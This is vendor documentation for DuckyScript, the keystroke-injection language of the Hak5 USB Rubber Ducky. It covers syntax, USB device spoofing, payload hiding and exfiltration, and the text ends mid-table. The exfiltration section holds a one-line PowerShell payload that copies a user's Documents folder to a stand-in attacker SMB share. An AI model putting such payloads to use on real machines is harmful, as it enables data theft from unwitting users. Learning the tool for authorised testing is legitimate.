> For the complete documentation index, see [llms.txt](https://documentation.hak5.org/hak5-usb-rubber-ducky/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://documentation.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference.md).

# DuckyScript™ Quick Reference

<figure><img src="/files/GpFb7uCBJPXs6mB70oXt" alt=""><figcaption></figcaption></figure>

{% embed url="<https://shop.hak5.org/>" %}
Shop Compatible Devices
{% endembed %}

{% hint style="success" %}
DuckyScript™ officially licensed and supported devices are backwards compatible with previous versions, excluding any device specific functionality.&#x20;

*E.g. DuckyScript™ 1.0 payloads written for the USB Rubber Ducky **are valid DuckyScript™ 3.0**\*\* \*\*<mark style="color:green;">**and will function on the New USB Rubber Ducky without modification**</mark>*
{% endhint %}

<table><thead><tr><th width="313.3333333333333" align="center">DuckyScript™ Version</th><th align="center">Device Compatibility </th></tr></thead><tbody><tr><td align="center">1.0</td><td align="center">Original USB Rubber Ducky (USB-A Only)</td></tr><tr><td align="center">2.X</td><td align="center"><a href="https://docs.hak5.org/bash-bunny/">Bash Bunny</a>, <a href="https://docs.hak5.org/key-croc/">Key Croc</a>, <a href="https://docs.hak5.org/packet-squirrel/">Packet Squirrel</a>, <a href="https://docs.hak5.org/lan-turtle/">LAN Turtle</a>, <a href="https://docs.hak5.org/shark-jack/">Shark Jack</a>, <a href="https://docs.hak5.org/hak5-docs/#omg">O.MG Devices</a></td></tr><tr><td align="center">3.0</td><td align="center">New USB Rubber Ducky (USB-A &#x26; USB-C)</td></tr></tbody></table>

{% hint style="warning" %}
*DuckyScript*™ *includes commands/syntax which only work on some devices. For example, `MATCH` and `SAVEKEYS` are DuckyScript™ commands which are only for* [*Key Croc*](https://docs.hak5.org/key-croc/) *payloads and will not work on other devices.*
{% endhint %}

{% hint style="danger" %} <mark style="color:red;">**Hak5 does NOT guarantee payload functionality for unlicensed device's, or payloads NOT compiled using**</mark> [**Hak5 PayloadStudio**](https://payloadstudio.hak5.org)
{% endhint %}

{% embed url="<https://hak5.org/blogs/payloads/>" %}
Hak5 Payload Hub - Featured Payloads & home of the Hak5 Payload Awards
{% endembed %}

{% embed url="<https://github.com/hak5>" %}
Contribute and browse payloads on GitHub
{% endembed %}

{% embed url="<https://payloadstudio.hak5.org/login/>" %}
Take your DuckyScript™ payloads to the next level with this full-featured, web-based development environment.
{% endembed %}

## [Comments](/hak5-usb-rubber-ducky/ducky-script-basics/rem.md)

### [`REM`](/hak5-usb-rubber-ducky/ducky-script-basics/rem.md#rem)

The `REM` command does not perform any keystroke injection functions. `REM` gets its name from the word remark. While `REM` may be used to add vertical spacing within a payload, blank lines are also acceptable and will not be processed by the compiler.

```
REM This is a comment
```

### [`REM_BLOCK`](/hak5-usb-rubber-ducky/ducky-script-basics/rem.md#rem_block)

Defining a comment block is simple! Start the comment with `REM_BLOCK` and end the comment with `END_REM`; everything in between will be considered a comment without the need to prepend every new line with `REM`. Comment blocks can be especially useful when you have multiple lines to be included in a single comment or want to retain formatting.

```
REM_BLOCK DOCUMENTATION
        USAGE:
            Place at beginning of payload (besides ATTACKMODE) to act as dynamic
            boot delay
    
        TARGETS:
            Any system that reflects CAPSLOCK will detect minimum required delay
            Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms
END_REM
```

## [Keystroke Injection](/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection.md)

### [`STRING`](/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection.md#string)

The `STRING` command keystroke injects (types) a series of keystrokes. `STRING` will automatically interpret uppercase letters by holding the `SHIFT` modifier key where necessary. The `STRING` command will also automatically press the SPACE cursor key, however trailing spaces will be omitted.

```
STRING The quick brown fox jumps over the lazy dog
```

### [`STRINGLN`](/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection.md#stringln)

The `STRINGLN` command, like `STRING`, will inject a series of keystrokes then terminate with a carriage return (`ENTER`).

```
STRINGLN      _      _      _      USB       _      _      _
STRINGLN   __(.)< __(.)> __(.)=   Rubber   >(.)__ <(.)__ =(.)__
STRINGLN   \___)  \___)  \___)    Ducky!    (___/  (___/  (___/
```

### [`STRING Blocks`](/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection.md#string-and-stringln-blocks)

#### [`STRING Blocks`](/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection.md#string-blocks)

`STRING` blocks can be used effectively to convert multiple lines into one without needing to prepend each line with `STRING`

{% hint style="warning" %}
`STRING` blocks strip leading white space and ignore new lines!
{% endhint %}

```
STRING
    a
    b
    c
END_STRING
```

is the equivalent of&#x20;

```
STRING a
STRING b
STRING c
```

Or in this case: `STRING abc`

#### &#x20;[`STRINGLN Blocks`](/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection.md#stringln-blocks)

`STRINGLN` blocks can be used like [here-doc](https://en.wikipedia.org/wiki/Here_document); allowing you to inject multiple lines **as they are written in the payload.**&#x20;

{% hint style="warning" %}
`STRINGLN` blocks strip the first tab but will preserve all other formatting
{% endhint %}

```
STRINGLN
    a
    b
    c
END_STRINGLN
```

is the equivalent of

```
STRINGLN a
STRINGLN b
STRINGLN c
```

#### Result

Deploying this payload will produce the following keystroke injection on the target machine:

```
a
b
c
```

### [Cursor Keys](/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection.md#cursor-keys)

The cursor keys are used to navigate the cursor to a different position on the screen.

> `UP` `DOWN` `LEFT` `RIGHT`
>
> `UPARROW` `DOWNARROW` `LEFTARROW` `RIGHTARROW`
>
> `PAGEUP` `PAGEDOWN` `HOME` `END`
>
> `INSERT` `DELETE` `DEL` `BACKSPACE`
>
> `TAB`
>
> `SPACE`

### [System Keys ](/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection.md#system-keys)

System keys are primarily used by the operating system for special functions and may be used to interact with both text areas and navigating the user interface.

> `ENTER`
>
> `ESCAPE`
>
> `PAUSE BREAK`
>
> `PRINTSCREEN`
>
> `MENU APP`
>
> `F1` `F2` `F3` `F4` `F5` `F6` `F7` `F8` `F9` `F0` `F11` `F12`

### [Basic Modifier Keys](/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection.md#basic-modifier-keys)

Modifier keys held in combination with another key to perform a special function. Common keyboard combinations for the PC include the familiar `CTRL c` for copy, `CTRL x` for cut, and `CTRL v` for paste.&#x20;

> `SHIFT`
>
> `ALT`
>
> `CONTROL` or `CTRL`
>
> `COMMAND`
>
> `WINDOWS` or `GUI`

```
REM Windows Modifier Key Example

REM Open the RUN Dialog
GUI r

REM Close the window
ALT F4
```

### [Key and Modifier Combos](/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection.md#key-and-modifier-combos)

In addition to the basic modifier key combinations, such as `CTRL c`, modifiers and keys may be combined arbitrarily.

> `CTRL SHIFT`
>
> `ALT SHIFT`
>
> `COMMAND CTRL`
>
> `COMMAND CTRL SHIFT`
>
> `COMMAND OPTION`
>
> `COMMAND OPTION SHIFT`
>
> `CONTROL ALT DELETE`

```
CTRL ALT DELETE
```

### [Standalone Modifier Keys](/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection.md#standalone-modifier-keys)

Injecting a modifier key alone without another key — such as pressing the `WINDOWS` key — may be achieved by prepending the modifier key with the `INJECT_MOD` command.

```
REM Example pressing Windows key alone

INJECT_MOD WINDOWS
```

### [Lock Keys](/hak5-usb-rubber-ducky/ducky-script-basics/keystroke-injection.md#lock-keys)

Lock keys toggle the lock state (on or off) and typically change the interpretation of subsequent keypresses. For example, caps lock generally makes all subsequent letter keys appear in uppercase.

> `CAPSLOCK`
>
> `NUMLOCK`
>
> `SCROLLOCK`

## [Delays](/hak5-usb-rubber-ducky/ducky-script-basics/delay.md)

### [`DELAY`](/hak5-usb-rubber-ducky/ducky-script-basics/delay.md#delay)

The `DELAY` command instructs the USB Rubber Ducky to momentarily pause execution of the payload. This is useful when deploying a payload which must "wait" for an element — such as a window — to load. The `DELAY` command accepts the time parameter in milliseconds.

```
DELAY for 100 milliseconds (one tenth of a second)
DELAY 100
```

{% hint style="danger" %}
The minimum delay value is 20.
{% endhint %}

The `DELAY` command may also accept an integer variable.

```
VAR $WAIT = 500
DELAY $WAIT
```

{% hint style="warning" %}
`DELAY` timings might differ slightly depending on the `ATTACKMODE` the USB Rubber Ducky is in when executing the `DELAY` and depending on the target host.
{% endhint %}

## [The Button](/hak5-usb-rubber-ducky/button/wait_for_button_press.md)

By default, if no other button command is currently in use, pressing the button during payload execution will make the USB Rubber Ducky stop any further keystroke injection. It will then become an ordinary USB flash drive, commonly referred to as "arming mode".

### [`WAIT_FOR_BUTTON_PRESS`](/hak5-usb-rubber-ducky/button/wait_for_button_press.md#wait_for_button_press)

Halts payload execution until a button press is detected. When this command is reached in the payload, no further execution will occur.

```
STRING Press the button...
WAIT_FOR_BUTTON_PRESS
STRING The button was pressed!
```

### [`BUTTON_DEF`](/hak5-usb-rubber-ducky/button/wait_for_button_press.md#button_def)

The `BUTTON_DEF` command defines a function which will execute when the button is pressed anytime within the payload so long as the button control is not already in use by the `WAIT_FOR_BUTTON_PRESS` command or other such function.

```
BUTTON_DEF
    STRINGLN The button was pressed.
END_BUTTON

STRINGLN Press the button with the next 10 seconds
DELAY 10000
```

### [`DISABLE_BUTTON`](/hak5-usb-rubber-ducky/button/wait_for_button_press.md#disable_button)

The `DISABLE_BUTTON` command prevents the button from calling the `BUTTON_DEF`.&#x20;

### [`ENABLE_BUTTON`](/hak5-usb-rubber-ducky/button/wait_for_button_press.md#enable_button)

The `ENABLE_BUTTON` command allows pressing the button to call the `BUTTON_DEF`.&#x20;

## [The LED](/hak5-usb-rubber-ducky/button/led.md)

The USB Rubber Ducky includes an LED which may be helpful when deploying certain payloads where feedback is important.

### [`LED_OFF`](/hak5-usb-rubber-ducky/button/led.md#led_off)

The `LED_OFF` command will disable all LED modes.

### [`LED_R`](/hak5-usb-rubber-ducky/button/led.md#led_r)

The `LED_R` command will enable the red LED.

### [`LED_G`](/hak5-usb-rubber-ducky/button/led.md#led_g)

The `LED_G` command will enable the green LED.

## [ATTACKMODE](/hak5-usb-rubber-ducky/attack-modes-constants-and-variables/attack-modes.md)

An attack mode is the device type that a USB Rubber Ducky, is functioning as or emulating. If no `ATTACKMODE` command is specified as the first command (excluding `REM`), the `HID` attack mode will execute, allowing the device to function as a keyboard. The `ATTACKMODE` command may be run multiple times within a payload, which may cause the device to be re-enumerated by the target if the attack mode changes.

### Required Parameters

| ATTACKMODE Parameter | Description                                                                            |
| -------------------- | -------------------------------------------------------------------------------------- |
| `HID`                | Functions as a Human Interface Device, or Keyboard, for keystroke injection.           |
| `STORAGE`            | Functions as USB Mass Storage, or a Flash Drive, for copying files to/from the target. |
| `HID STORAGE`        | Functions as both USB Mass Storage and Human Interface Device                          |
| `OFF`                | Will not function as any device. May be used to disconnect the device from the target. |

```
ATTACKMODE HID STORAGE
REM The USB Rubber Ducky will act as both a flash drive and keyboard
```

### Optional Parameters

{% hint style="info" %}
When using these optional parameters, `VID` and `PID` must be used as a set. Further, `MAN`, `PROD` and `SERIAL` must also be used as a set.
{% endhint %}

| ATTACKMODE Parameter | Description                               |
| -------------------- | ----------------------------------------- |
| `VID_`               | Vendor ID (16-bit HEX)                    |
| `PID_`               | Product ID (16-bit HEX)                   |
| `MAN_`               | Manufacturer (32 alphanumeric characters) |
| `PROD_`              | Product (32 alphanumeric characters)      |
| `SERIAL_`            | Serial (12 digits)                        |

```
ATTACKMODE HID VID_046D PID_C31C MAN_HAK5 PROD_DUCKY SERIAL_1337
REM Emulated a Keyboard with the following values:
REM  - Vendor ID: 046D
REM  - Product ID: C31C
REM  - Manufacturer: HAK5
REM  - Product: DUCKY
REM  - Serial: 1337
```

### [`SAVE_ATTACKMODE`](/hak5-usb-rubber-ducky/attack-modes-constants-and-variables/attack-modes.md#save_attackmode)

The `SAVE_ATTACKMODE` command will save the currently running `ATTACKMODE` state (including any specified `VID`, `PID`, `MAN`, `PROD` and `SERIAL` parameters) such that it may be later restored.

### [`RESTORE_ATTACKMODE`](/hak5-usb-rubber-ducky/attack-modes-constants-and-variables/attack-modes.md#restore_attackmode)

The `RESTORE_ATTACKMODE` command will restore a previously saved `ATTACKMODE` state.

```
ATTACKMODE HID VID_046D PID_C31C MAN_HAK5 PROD_DUCKY SERIAL_1337
DELAY 2000
SAVE_ATTACKMODE
STRING Hello
ATTACKMODE OFF
DELAY 5000
RESTORE_ATTACKMODE
DELAY 2000
STRING , World!
```

## [Constants](/hak5-usb-rubber-ducky/attack-modes-constants-and-variables/constants.md)

### [`DEFINE`](/hak5-usb-rubber-ducky/attack-modes-constants-and-variables/constants.md#define)

The `DEFINE` command is used to define a constant. One may consider the use of a `DEFINE` within a payload like a find-and-replace at time of compile.

```
DEFINE #WAIT 2000
DEFINE #TEXT Hello World
DEFINE #MYURL example.com
DELAY #WAIT
STRINGLN #TEXT
STRING https://#MYURL
```

## [Variables](/hak5-usb-rubber-ducky/attack-modes-constants-and-variables/variables.md)

### [`VAR`](/hak5-usb-rubber-ducky/attack-modes-constants-and-variables/variables.md#var)

The `VAR` command will initiate a variable. Unlike constants, variables begin with a dollar sign ("`$`"). Variables contain unsigned integers with values from 0 to 65535. Booleans may be represented as well, either by `TRUE`/`FALE` or any non-zero number and `0` respectively.

```
VAR $BLINK = TRUE
VAR $BLINK_TIME = 1000
```

## [Operators](/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/operators.md)

Operators instruct the payload to perform a given mathematical, relational or logical operation.

### [Math](/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/operators.md#math-operators)

<table><thead><tr><th width="150">Operator</th><th width="150">Meaning</th></tr></thead><tbody><tr><td>=</td><td>Assignment</td></tr><tr><td>+</td><td>Add</td></tr><tr><td>-</td><td>Subtract</td></tr><tr><td>*</td><td>Multiply</td></tr><tr><td>/</td><td>Divide</td></tr><tr><td>%</td><td>Modulus</td></tr><tr><td>^</td><td>Exponent</td></tr></tbody></table>

```
VAR $FOO = 1337
$FOO = ( $FOO - 1295 )
REM $FOO was assigned 1337, subtracted 1295, and ended up equalling 42.
```

### [Comparison](/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/operators.md#comparison-operators)

Will compare two values to evaluate a single boolean value.

<table><thead><tr><th width="173.26813365933168">Operator</th><th>Meaning</th></tr></thead><tbody><tr><td>==</td><td>Equal to</td></tr><tr><td>!=</td><td>Not equal to</td></tr><tr><td>></td><td>Greater than</td></tr><tr><td>&#x3C;</td><td>Less than</td></tr><tr><td>>=</td><td>Greater than or equal to</td></tr><tr><td>&#x3C;=</td><td>Less than or equal to</td></tr></tbody></table>

```
VAR $FOO = 42
VAR $BAR = 1337
IF ( $FOO < $BAR ) THEN
    STRING 42 is less than 1337
END_IF
```

### [Order of Operations](/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/operators.md#order-of-operations)

Parentheses `( )` are required to define the precedence conventions.

```
VAR $FOO = 42
VAR $BAR = (( 100 * 13 ) + ( $FOO - 5 ))
```

### [Logical Operators](/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/operators.md#logical-operators)

Logical operators may be used to connect two or more expressions.

<table><thead><tr><th width="150">Operator</th><th width="599.4285714285713">Description</th></tr></thead><tbody><tr><td>&#x26;&#x26;</td><td>Logical AND. If both the operands are non-zero, the condition is <code>TRUE</code>.</td></tr><tr><td>||</td><td>Logical OR. If any of the two operands is non-zero, the condition is <code>TRUE</code>.</td></tr></tbody></table>

```
VAR $FOO = 42
VAR $BAR = 1337
IF ( $FOO < $BAR ) || ( $BAR == $FOO ) THEN
    STRING Either 42 is less than 1337 or 42 is equal to 1337
END_IF
```

### [Augmented Assignment](/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/operators.md#augmented-assignment-operators)

When assigning a value to a variable, the variable itself may be referenced.

```
VAR $FOO = 1336
VAR $FOO = ( $FOO + 1 )
```

### [Bitwise Operators](/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/operators.md#bitwise-operators)

Operate on the uint16 values at the binary level.

<table><thead><tr><th width="150">Operator</th><th>Description</th></tr></thead><tbody><tr><td>&#x26;</td><td>Bitwise AND. If the corresponding bits of the two operands is 1, will result in 1. Otherwise if either bit of an operand is 0, the result of the corresponding bit is evaluated as 0.</td></tr><tr><td>|</td><td>Bitwise OR. If at least one corresponding bit of the two operands is 1, will result in 1.</td></tr><tr><td>>></td><td>Right Shift. Accepts two numbers. Right shifts the bits of the first operand. The second operand determines the number of places to shift.</td></tr><tr><td>&#x3C;&#x3C;</td><td>Left Shift. Accepts two numbers. Left shifts the bits of the first operand. The second operand decides the number of places to shift.</td></tr></tbody></table>

```
ATTACKMODE HID STORAGE VID_05AC PID_021E
VAR $FOO = $_CURRENT_VID
REM Because VID and PID parameters are little endian, 
$FOO = ((($FOO >> 8) & 0x00FF) | (($FOO << 8) & 0xFF00))
REM $FOO will now equal 0xAC05
```

## [Conditional Statements](/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/conditional-statements.md)

Conditional statements, loops and functions allow for dynamic execution.

### [`IF`](/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/conditional-statements.md#if)

The flow control statement `IF` will determine whether or not to execute its block of code based on the evaluation of an expression. One way to interpret an `IF` statement is to read it as "`IF` this condition is true, `THEN` do this".

```
$FOO = 42
$BAR = 1337
IF ( $FOO < $BAR ) THEN
  STRING 42 is less than 1337
END_IF
```

### [`ELSE`](/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/conditional-statements.md#else)

The `ELSE` statement is an optional component of the `IF` statement which will only execute when the `IF` statement condition is `FALSE`.

```
IF ( $_CAPSLOCK_ON == TRUE ) THEN
    STRING Capslock is on!
ELSE IF ( $_CAPSLOCK_ON == FALSE ) THEN
    STRING Capslock is off!
END_IF
```

## [Loops](/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/loops.md)

Loops are flow control statements that can be used to repeat instructions until a specific condition is reached.

### [`WHILE`](/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/loops.md#while)

The block of code within the `WHILE` statement will continue to repeatedly execute for a number of times (called iterations) for as long as the condition of the `WHILE` statement is `TRUE`.&#x20;

```
VAR $FOO = 42
WHILE ( $FOO > 0 )
    STRINGLN This message will repeat 42 times.
    $FOO = ( $FOO - 1 )
END_WHILE

WHILE TRUE
    SRINGLN This is an infinite loop. This message repeats forever.
END_WHILE
```

## [Functions](/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/functions.md)

Functions are blocks of organized single-task code that let you more efficiently run the same code multiple times without the need to copy and paste large blocks of code over and over again.&#x20;

### [`FUNCTION`](/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/functions.md#function)

```
REM Types "Hello.....World!"

FUNCTION COUNTDOWN()
    WHILE ($TIMER > 0)
        STRING .
        $TIMER = ($TIMER - 1)
        DELAY 500
    END_WHILE
END_FUNCTION

STRING Hello
VAR $TIMER = 5
COUNTDOWN()
STRING World!
```

### [`RETURN`](/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/functions.md#return-values)

A function may return a integer or boolean value which may also be evaluated.

```
FUNCITON TEST_CAPS_AND_NUM()
    IF (($_CAPSLOCK_ON == TRUE) && ($_NUMLOCK_ON == TRUE)) THEN
        RETURN TRUE
    ELSE
        RETURN FALSE
    END_IF
END_FUNCTION

IF (TEST_CAPS_AND_NUM() == TRUE) THEN
    STRINGLN Caps lock and num lock are on.
END_IF
```

## [Randomization](/hak5-usb-rubber-ducky/advanced-features/randomization.md)

The pseudorandom number generator provides randomization for keystroke injection, variables and attackmode parameters. The first time a randomization feature is used, a `seed.bin` will be generated on the root of the MicroSD card. One may also be generated from the [Hak5 IDE](https://encoder.hak5.org).

### [Random Keystroke Injection](/hak5-usb-rubber-ducky/advanced-features/randomization.md#random-keystroke-injection)

<table><thead><tr><th width="150">Command</th><th>Character Set</th></tr></thead><tbody><tr><td><code>RANDOM_LOWERCASE_LETTER</code></td><td>abcdefghijklmnopqrstuvwxyz</td></tr><tr><td><code>RANDOM_UPPERCASE_LETTER</code></td><td>ABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr><tr><td><code>RANDOM_LETTER</code></td><td>abcdefghijklmnopqrstuvwxyz<br>ABCDEFGHIJKLMNOPQRSTUVWXYZ</td></tr><tr><td><code>RANDOM_NUMBER</code></td><td>0123456789</td></tr><tr><td><code>RANDOM_SPECIAL</code></td><td>!@#$%^&#x26;*()</td></tr><tr><td><code>RANDOM_CHAR</code></td><td>abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>0123456789<br>!@#$%^&#x26;*()</td></tr></tbody></table>

```
REM 42 random characters
VAR $COUNT = 42
WHILE ($COUNT > 0)
    RANDOM_CHAR
    $COUNT = ($COUNT + 1)
END_WHILE
```

### [Random Integers](/hak5-usb-rubber-ducky/advanced-features/randomization.md#random-integers)

The internal variable `$_RANDOM_INT` assigns a random integer between the specified `$_RANDOM_MIN` and `$_RANDOM_MAX` values. May be 0-65535. The default values are `0-9`.&#x20;

```
$_RANDOM_MIN = 42
$_RANDOM_MAX = 1337
VAR $FOO = $_RANDOM_INT

REM The variable $FOO will be between 42 and 1337
```

### [Random and ATTACKMODE](/hak5-usb-rubber-ducky/advanced-features/randomization.md#random-and-attackmode)

The `ATTACKMODE` command may accept random values for the optional parameters.

| ATTACKMODE Parameter | Result                                         |
| -------------------- | ---------------------------------------------- |
| `VID_RANDOM`         | Random Vendor ID                               |
| `PID_RANDOM`         | Random Product ID                              |
| `MAN_RANDOM`         | Random 12 alphanumeric character iManufacturer |
| `PROD_RANDOM`        | Random 12 alphanumeric character iProduct      |
| `SERIAL_RANDOM`      | Random 12 digit serial number                  |

```
ATTACKMODE HID VID_RANDOM PID_RANDOM MAN_RANDOM PROD_RANDOM SERIAL_RANDOM
```

{% hint style="danger" %}
Use caution when using random `VID` and `PID` values as unexpected results are likely.
{% endhint %}

## [Holding Keys](/hak5-usb-rubber-ducky/advanced-features/holding-keys.md)

A key may be held, rather than pressed, by specifying a `HOLD` and `RELEASE` command with a `DELAY` in between the two. Both `HOLD` and `RELEASE` must specify a key. [Multiple simultaneous keys](/hak5-usb-rubber-ducky/advanced-features/holding-keys.md#holding-multiple-keys) may be held.

```
HOLD a
DELAY 2000
RELEASE a

REM May produce any mumber of "aaaaa" keys, depending on the repeat rate of
REM the target OS. On macOS may open the accent menu.

INJECT_MOD
HOLD WINDOWS
DELAY 4000
RELEASE WINDOWS

REM Will hold the Windows key for 4 seconds. Note the use of INJECT_MOD
REM when using a modifier key without a key combination.
```

## [Payload Control](/hak5-usb-rubber-ducky/advanced-features/payload-control.md)

These simple commands exist to control the execution of a payload.

### [`RESTART_PAYLOAD`](/hak5-usb-rubber-ducky/advanced-features/payload-control.md#restart_payload)

The `RESTART_PAYLOAD` command ceases execution, restarting the payload from the beginning.

### [STOP\_PAYLOAD](/hak5-usb-rubber-ducky/advanced-features/payload-control.md#stop_payload)

The `STOP_PAYLOAD` command ceases and further execution.

### [RESET](/hak5-usb-rubber-ducky/advanced-features/payload-control.md#reset)

The `RESET` command clears the keystroke buffer, useful for debugging complex hold key states.

## [Jitter](/hak5-usb-rubber-ducky/advanced-features/jitter.md)

Jitter randomly varies the delay between individual key presses based on the `seed.bin` value.

| Internal Variable  | Description                                                                       |
| ------------------ | --------------------------------------------------------------------------------- |
| `$_JITTER_ENABLED` | Set `TRUE` to enable and `FALSE` to disable jitter.                               |
| `$_JITTER_MAX`     | Integer (0-65535) of maximum time in milliseconds between keystrokes. Default 20. |

```
$_JITTER_MAX = 60
$_JITTER_ENABLED = TRUE
STRINGLN The quick brown fox jumps over the lazy dog
```

## [Payload Hiding](/hak5-usb-rubber-ducky/advanced-features/payload-hiding.md)

The `inject.bin` and `seed.bin` file may be hidden from the MicroSD card before implementing `ATTACKMODE STORAGE`. The `HIDE_PAYLOAD` and `RESTORE_PAYLOAD` commands must be run while using `ATTACKMODE OFF` or `ATTACKMODE HID`.

### [`HIDE_PAYLOAD`](/hak5-usb-rubber-ducky/advanced-features/payload-hiding.md#hide_payload-and-restore_payload)

Hides the inject.bin and seed.bin files from the MicroSD card.

### [`RESTORE_PAYLOAD`](/hak5-usb-rubber-ducky/advanced-features/payload-hiding.md#hide_payload-and-restore_payload)

Restores the inject.bin and seed.bin files to the MicroSD card.

```
ATTACKMODE OFF
HIDE_PAYLOAD
ATTACKMODE HID STORAGE
DELAY 2000
STRINGLN The payload files are hidden.
ATTACKMODE HID
RESTORE_PAYLOAD
DELAY 2000
STRINGLN Restoring the payload files...
ATTACKMODE HID STORAGE
DELAY 2000
STRINGLN The payload files have been restored.
```

## [Lock Keys](/hak5-usb-rubber-ducky/advanced-features/lock-keys.md)

USB HID devices contain both IN endpoints for data (keystrokes) from the keyboard to computer, and OUT endpoints for data (LED states) from the computer to the keyboard. In many cases the LED state control codes sent from the computer to the attached keyboard are sent to all attached "keyboards". Versions of macOS behave differently.

### [`WAIT_FOR` Commands](/hak5-usb-rubber-ducky/advanced-features/lock-keys.md#wait_for-commands)

<table><thead><tr><th width="215.30856153454425">Command</th><th>Description</th></tr></thead><tbody><tr><td><code>WAIT_FOR_CAPS_ON</code></td><td>Pause until caps lock is turned on</td></tr><tr><td><code>WAIT_FOR_CAPS_OFF</code></td><td>Pause until caps lock is turned off</td></tr><tr><td><code>WAIT_FOR_CAPS_CHANGE</code></td><td>Pause until caps lock is toggled on or off</td></tr><tr><td><code>WAIT_FOR_NUM_ON</code></td><td>Pause until num lock is turned on</td></tr><tr><td><code>WAIT_FOR_NUM_OFF</code></td><td>Pause until num lock is turned off</td></tr><tr><td><code>WAIT_FOR_NUM_CHANGE</code></td><td>Pause until num lock is toggled on or off</td></tr><tr><td><code>WAIT_FOR_SCROLL_ON</code></td><td>Pause until scroll lock is turned on</td></tr><tr><td><code>WAIT_FOR_SCROLL_OFF</code></td><td>Pause until scroll lock is turned off</td></tr><tr><td><code>WAIT_FOR_SCROLL_CHANGE</code></td><td>Pause until scroll lock is toggled on or off</td></tr></tbody></table>

```
STRINGLN Hello,
STRINGLN [Press caps lock to continue...]
WAIT_FOR_CAPS_CHANGE
STRINGLN World!
```

### [`SAVE` and `RESTORE` Commands](/hak5-usb-rubber-ducky/advanced-features/lock-keys.md#save-and-restore-commands)

The currently reported lock key states may be saved and later recalled using the `SAVE_HOST_KEYBOARD_LOCK_STATE` and `RESTORE_HOST_KEYBOARD_LOCK_STATE` commands.&#x20;

```
REM Save the LED states of the primary keyboard
SAVE_HOST_KEYBOARD_LOCK_STATE
REM Change the lock states
CAPSLOCK
NUMLOCK
REM Restore the original lock states
RESTORE_HOST_KEYBOARD_LOCK_STATE
```

## [Exfiltration](/hak5-usb-rubber-ducky/advanced-features/exfiltration.md)

Exfiltration is the unauthorized transfer of information from a system. Typically performed over a [physical medium](/hak5-usb-rubber-ducky/advanced-features/exfiltration.md#physical-medium-exfiltration) (copying to a USB flash disk such as the USB Rubber Ducky while using `ATTACKMODE STORAGE`) or a [network medium](/hak5-usb-rubber-ducky/advanced-features/exfiltration.md#network-medium-exfiltration) such as email, ftp, smb, http, etc.

### Physical Exfiltration Example

```
ATTACKMODE HID STORAGE
DELAY 2000
GUI r
DELAY 100
STRING powershell "$m=(Get-Volume -FileSystemLabel 'DUCKY').DriveLetter;
STRINGLN echo $env:computername >> $m:\computer_names.txt"
```

### Network Exfiltration Example

```
ATTACKMODE HID
DELAY 2000
GUI r
DELAY 100
STRINGLN powershell "cp -r $env:USERPROFILE\Documents\* \\evilsmb\share"
```

### [Keystroke Reflection](/hak5-usb-rubber-ducky/advanced-features/exfiltration.md#the-keystroke-reflection-attack)

By taking advantage of the [HID OUT endpoint](/hak5-usb-rubber-ducky/advanced-features/lock-keys.md#end-points-and-control-codes) as described in the [lock keys](/hak5-usb-rubber-ducky/advanced-features/lock-keys.md) section, binary data may be exfiltrated "out of band" using the Keystroke Reflection side-channel attack. This is done by using the `$_EXFIL_MODE_ENABLED` internal variable. The reflected lock keystrokes are saved to [`loot.bin`](/hak5-usb-rubber-ducky/advanced-features/exfiltration.md#working-with-loot) on the root of the MicroSD card. For a detailed example, see the section on [Keystroke Reflection](/hak5-usb-rubber-ducky/advanced-features/exfiltration.md#the-keystroke-reflection-attack).

### [Variable Exfiltration](/hak5-usb-rubber-ducky/advanced-features/exfiltration.md#variable-exfiltration)

Similarly, arbitrary variable data may be saved to the `loot.bin` file using the `EXFIL` command.

```
VAR $FOO = 1337
EXFIL $FOO
```

## Internal Variables

<table><thead><tr><th width="209">Internal Variable</th><th>Description</th></tr></thead><tbody><tr><td><strong>BUTTON</strong></td><td></td></tr><tr><td><code>$_BUTTON_ENABLED</code></td><td>Returns <code>TRUE</code> if the button is enabled or <code>FALSE</code> if the button is disabled.</td></tr><tr><td><code>$_BUTTON_USER_DEFINED</code></td><td>Returns <code>TRUE</code> if a <code>BUTTON_DEF</code> has been implemented in the payload or <code>FALSE</code> if it hasn't been implemented.</td></tr><tr><td><code>$_BUTTON_PUSH_RECEIVED</code></td><td>Returns <code>TRUE</code> if the button has ever been pressed. May be retrieved or set.</td></tr><tr><td><code>$_BUTTON_TIMEOUT</code></td><td>The button debounce, or cooldown time before counting the next button press, in milliseconds. The default value is <code>1000</code>.</td></tr><tr><td><strong>LED</strong></td><td></td></tr><tr><td><code>$_SYSTEM_LEDS_ENABLED</code></td><td>Default set <code>TRUE</code>. May be retrieved or set. Boot and <code>ATTACKMODE</code> change LED.</td></tr><tr><td><code>$_STORAGE_LEDS_ENABLED</code></td><td><p>Default set <code>TRUE</code>. May be retrieved or set.</p><p>Blinks the LED red/green on storage read/write in <code>ATTACKMODE 